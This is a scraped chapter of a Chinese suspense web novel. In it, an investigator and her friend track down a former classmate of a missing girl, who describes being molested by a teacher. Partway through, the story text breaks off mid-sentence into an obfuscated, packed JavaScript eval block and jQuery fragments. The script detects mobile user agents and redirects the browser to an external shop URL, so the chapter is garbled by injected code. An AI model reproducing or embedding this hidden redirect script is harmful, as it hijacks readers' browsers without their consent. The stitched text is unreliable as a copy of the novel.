文趣网 > 都市小说 > 今日难越[悬疑] > 68. 第 68 章
    “这是什么树?”

    “香樟,很常见的观景树。”

    “哦哦,你这么一说我就知道了。这个呢,枫树?”

    “鸡爪槭,红枫算是它的变种。”

    “不错嘛,果然是专业的。”

    “这个呢?”

    “这个我倒是不太确定,按理来说,樱桃李不应该在这个季节开的。”

    “嘿嘿,问倒蒋教授了吧。”

    “哦我知道了,它是假花。”

    “……我去还真是,怎么还在真树上挂了个假的,真没意思。”

    蒋今越和丁胜男坐在公园的长椅上,抬头看着四周。这里位于临江市的北面,离看守所不远,两个人见完易峥出来谁也没去开车,而是沿着大道往前走,不知不觉就逛到了这里。

    虽然是工作日的下午,但公园里的人并不算少,大部分是出来遛娃的家长或者是下棋跳舞的老年人,她们无意打扰,便避开人群走。公园的一角挂了一长串A4大小的纸片,她们走近一看,才知道上面都是适龄男女把自己的条件罗列出来相亲配对,摇着扇子的大爷大妈看俩人凑近,就开始上下打量着两个人,她们连忙退开。

    两个人嘴里说笑,脸上轻松,但感觉得到对方内心的沉重,她们之所以能在这里插科打诨,就是因为时至今日,她们依旧没能找到任何进展,无法给易峥定罪,无计可施得像是做不出题目,开始在试卷上画画的小学生。

    一条长道眼看着就要走到尽头,两侧的相亲告示眼看着也快要结束,丁胜男突然站定,看向纸上的一个名字。

    “唐琳。”

    “这是谁?”

    “亚楠的同年级同学,后来我找亚楠的同学问过,在她失踪之前一周曾经见过这个人,但当时唐琳的妈妈不肯让她见我,听说过了不久,就从临江高中转学走了,而且在那之前,我从来没听亚楠提起过这个人。所以我一直怀疑,她知道些什么。”丁胜男认真看着纸上的信息,再次确认,“年纪一样,可能就是同一个人。”

    “要不要现在再去找她试试?”

    “好像有点不是时候。”

    丁胜男有些迟疑,眼下悬而未决的事情太多,多得让她无暇顾及自己的事。

    “反正闲着也是闲着。”蒋今越敲了敲纸上的联系方式,“如今你的身份不一样了,或许会有新的进展。”

    只不过,一切没蒋今越想象的那么顺利,在公园张贴相亲信息的人不是唐琳本人,而是她的母亲熊燕,接通电话后,对方一听丁胜男提起丁亚楠这个名字就一口咬定自己女儿没见过她,紧接着就毫不犹豫地挂断了。

    “连是什么人都没告诉她,这人就这样笃定自己女儿没见过吗?”蒋今越皱着眉。

    丁胜男当然也觉察到背后的可疑之处,好不容易才找到线索的她当然不肯放弃。

    熊燕住在兴旺路小学旁边的教师家属区里,她不是老师,但自学考过不少心理学、营养师的证,自诩教育理念不比老师差。当年豪掷千金说服所有人,为了唐琳上学,特意买下了这栋除了学区外没有任何优点的老房子。

    面积小、隔音差、楼道里塞满邻居的各种东西、水管动不动就堵住……这些缺点在唐琳上学的时候,家里人都觉得还可以忍受,尤其是在唐琳顺利考上了985之后。但伴随着唐琳大学毕业后考研考公接连失利还不愿意谈恋爱结婚,这些小毛病就变得愈发难以忍耐,眼下,想要搬走的理由又多了一个。

    “我女儿没见过她,你们不要再来找我们了。”熊燕怒气冲冲地看着眼前的两个人,试图把铁门关上,“都是十年前的事情了,现在还问什么。”

    眼前这个分不清性别的人力气很大,一伸手就撑住了门,任是熊燕怎么用力都关不上,看上去脸上颇为轻松:“阿姨,我只是想问唐琳几个问题,不会耽误你们太多时间。”

    怎么不耽误,让她想起来那些事就是耽误!熊燕一想起唐琳那时候的经历就觉得喉咙发紧,当年她好不容易才让那些事风平浪静地掩盖下去,不为人知,怎么又把这些事扯出来了。

    “你们什么意思,警察就能强闯民宅了吗!?你们怎么知道我住在这的,我们是罪犯吗,没有一点隐私吗?”恐慌攫取了熊燕的大脑,让她忘了这房子的隔音有多差,声音大得全楼都听得见。

    “你在公园里挂的相亲告示里,有写联系方式和地址。”丁胜男依旧死死撑着门,任凭她动作。

    “那也是用来给我们家琳琳相亲的,你怎么能用这种方式联系我呢!”熊燕实在太瘦了,怎么都推不动眼前的丁胜男。

    “谁让你给我相亲了!我说了,我有女朋友。”最内里的房门突然开了,一个染着蓝色头发的鲻鱼头女孩双手环胸,一脸冷漠地站在那里,她约莫二十多岁,穿着异常宽松的灰色T恤和咖色工装裤,大得足足能装下两个她,“我就是唐琳。找我是吗?我们出去说。”

    见女儿听到了她们的对话,熊燕惊惶极了,愈发用力:“琳琳,你别出来就在家里好好复习,我来赶她们走。”

    “妈!我有在画画挣钱,用不着考公。”唐琳拧着眉往外走,把她的手掰开,兀自往外走。

    “这样,我陪你去总可以吧?”熊燕一转刚才的气势汹汹,追着三人出来,可怜巴巴地抓住了自己女儿的手。

    “我自己去就行”唐琳的眼神异常凶悍,把自己的手用力地甩开,让熊燕踉跄了两下,撞在了墙上,她大概对这样的互动模式习以为常,知道只有这样才能摆脱自己的母亲,拦住忧心忡忡又不知所措的蒋今越和丁胜男,“快走。”

    蒋今越还是没忍住回头看了一眼,也不知是因为疼还是因为被自己女儿推搡了一把而觉得痛苦,熊燕躬着极为瘦削的身子,露出头顶的花白,依稀可见一道银色的水迹掉下。

    然而唐琳却梗着脖子,一次都没有回头。

    *

    “抱歉,让你们看笑话了。”唐琳带她们去了附近的一家连锁咖啡店,“想喝什么,我请你们。”

    丁胜男当然不是来喝咖啡的,出示了自己的证件后,她急着进入正题:“你还记得丁亚楠吗?十年前的4月12日,她来找过你。”

    “是不是眼睛很大很圆,头发大概到肩下,在左眼的右下方有一颗很浅的泪痣,笑起来有点像兔子。”唐琳回忆着记忆里的那个女孩的模样,突然发觉眼前的人跟那个女孩有点像,她意识到了什么。

    “是她,她是我的妹妹。”

    唐琳沉默了一会,低下头,“抱歉,其实那天跟今天很像,但那时候的我没勇气走出来。”

    高二对于唐琳来说是至关重要的一年,自己必须得全力做

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793768|206490||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    好支持工作。自打女儿迈入高二,熊燕一直反复地跟周围人念叨着这句话,完全忘了每一年她都是这么说的。

    在这种时刻,不管多么贵的辅导班和练习册都必须无条件支持,文具什么的都得买最好的,就连班里的老师也得打点好。除了班主任外,她送礼请客最多的就是唐琳的化学老师贾英才,原因也很简单,唐琳的化学成绩最差,每回都考班里二十几名。有了熊燕的购物卡,这位贾老师也不负所托,提出每天放学后都可以留一个小时给唐琳单独补课。

    熊燕野心勃勃地开展着自己的“教育事业”,自信这样发展下去,唐琳的成绩一定会越来越好,丝毫没有注意到自己的女儿越来越沉默,表情也越来越少。

    “其实,贾英才并非是想要给我补课,而是想要趁机猥亵我。”这时候再提起那件事,唐琳还是忍不住反胃,但毕竟时过境迁,她不再是当年连提起这件事的勇气都没有的女孩,“刚开始,他只是碰碰手指,所以我以为只是他不小心,到后来他越来越近,动作也越来越猖狂,甚至想要把手伸进我的衣服里。如果丁亚楠那天没有出现的话,我……我也不知道后面会不会发生什么更糟糕的事情。”

    丁胜男猛然握住了拳头,她从来没听丁亚楠提起过这些。

    “我也不知道她是什么时候注意到这件事的,大概有一阵子了吧,她还拍下了照片。我听他们的对话,她应该是遭受过差不多的事情。但她比我勇敢得多,那天她把我拉出门外,告诉我不要怕,叮嘱我一定要把这件事告诉爸妈,她可以作证,再加上照片,只要我们站出来,就一定能让他获得罪有应得的惩罚。”唐琳眼神朦胧,再一次回忆起那个威风凛凛的身影和灼热的眼神。

    那天,女孩抓住她的手,让她从那个人身旁让人窒息的腥臭中逃出。

    记忆真是残酷,哪怕唐琳时常在努力回忆,但在时过境迁之后,那天发生了什么,唐琳其实已经有些记不清了。她只记得天上的星星很亮,哪怕是在如此浓重的黑夜里,哪怕如此微小,可仍然在固执地闪烁着。

    她们两个人一起奔走在微寒的春风里,竭尽全力,就好像她们能摆脱一切让人痛苦的东西,只要跑得够快。所以,唐琳分不清快要从胸膛里跳出来的心是因为剧烈运动,还是因为别的什么。

    “那时候我确实把这件事告诉了我妈,但她大发雷霆要我一定不要说出这件事,会影响我的名声也耽误我的学习,她当天就决定给我转学,我就再也没去过临江高中。所以那天丁亚楠才会来找我,她想要我站出来指认贾老师,好不再有其他的受害者……但是,我妈妈决不允许这样的事发生。那时候的我,还没有反抗她的勇气。”唐琳避开眼前两个人的眼神,“抱歉,那时候的我太软弱了。”

    她的道歉落在一片静默中,没人给她回答。

    “所以她……她现在过得好吗。”再次开口时,唐琳的声音有点颤抖,她害怕得到那个答案。

    “她已经失踪十年了。”

    “是因为我吗?”唐琳浑身都颤抖起来,“我后面听说了,那个贾老师是个杀人犯,她的失踪……跟他有关吗?”

    “也许。”

    唐琳再也没有说什么,颤抖的双手捂住了脸,泪水却止不住从指缝里掉了出来,她声音很低,也不连贯,可蒋今越还是听清了她的道歉。